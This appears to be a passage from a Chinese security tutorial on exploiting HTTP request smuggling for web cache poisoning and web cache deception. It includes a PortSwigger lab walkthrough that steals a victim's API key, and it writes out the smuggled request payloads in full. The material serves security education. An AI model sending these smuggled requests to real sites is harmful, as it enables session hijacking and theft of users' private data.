在这里我们可以使用此请求将对网站的下一个请求重定向到/发布到我们自己选择的主机上,下面我们直接使用平台提供的漏洞服务器做一个演示,在/post创建一个text/javascript文件:
随后构造以下走私的请求
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 193 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
刷新博客站点可以看的被投毒的效果
在上述的上述的攻击变种中,您可以利用HTTP请求走私来执行Web缓存欺骗,这与Web缓存中毒攻击的工作方式类似,但目的不同
在这种变体中攻击者走私一个返回一些敏感的用户特定内容的请求,例如:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X
转发到后端服务器的来自另一个用户的下一个请求将被附加到走私的请求中,包括会话cookies和其他头,例如:
GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ...
后端服务器以正常方式响应这个请求,请求中的URL用于用户的私人消息,请求在受害用户会话的上下文中处理,前端服务器根据它认为是第二个请求中的URL(即/static/some-image.png)缓存此响应
GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ... <h1>Your private messages</h1> ...
然后攻击者访问静态URL并接收从缓存返回的敏感内容,这里一个重要的点是攻击者不知道敏感内容将被缓存到哪个URL,因为这将是受害者用户在走私的请求生效时碰巧请求的任何URL,攻击者可能需要获取大量静态URL来发现捕获的内容,下面我们通过一个靶场进行简单的演示:
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-deception
靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,前端服务器正在缓存静态资源,为了解决这个实验,你需要执行一个请求走私攻击,使得下一个用户的请求导致他们的API密钥被保存在缓存中,然后从缓存中检索受害用户的API密钥并将其作为实验室解决方案提交,在尝试欺骗受害者缓存他们的API密钥之前,您需要等待30秒才能访问实验室,您可以使用以下凭据登录自己的帐户:wiener:peter
靶场演示:
Step 1:登录账户
从数据包中可以看的并没有缓存的防御头信息
随后构造一下请求走私的数据包
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 42 Transfer-Encoding: chunked 0 GET /my-account HTTP/1.1 X-Ignore: X
重复这个请求几次,然后在匿名浏览器窗口中加载主页
使用Burp菜单上的搜索功能来查看“Your API Key”是否出现在任何静态资源中,如果没有则重复POST请求,强制重新加载浏览器窗口并重新运行搜索
提交受害者的API密钥作为实验室解决方案
本篇文章主要怼请求走私的原理、请求走私的检测方式、利用请求走私绕过检测或限制、请求走私的扩展利用方式进行了全方面的介绍,由于篇幅问题这里就不再继续去深入探索HTTP2.0版本的请求走私问题了,后续有时间再进行补充说明~
https://www.youtube.com/watch?v=w-eJM2Pc0KI
https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf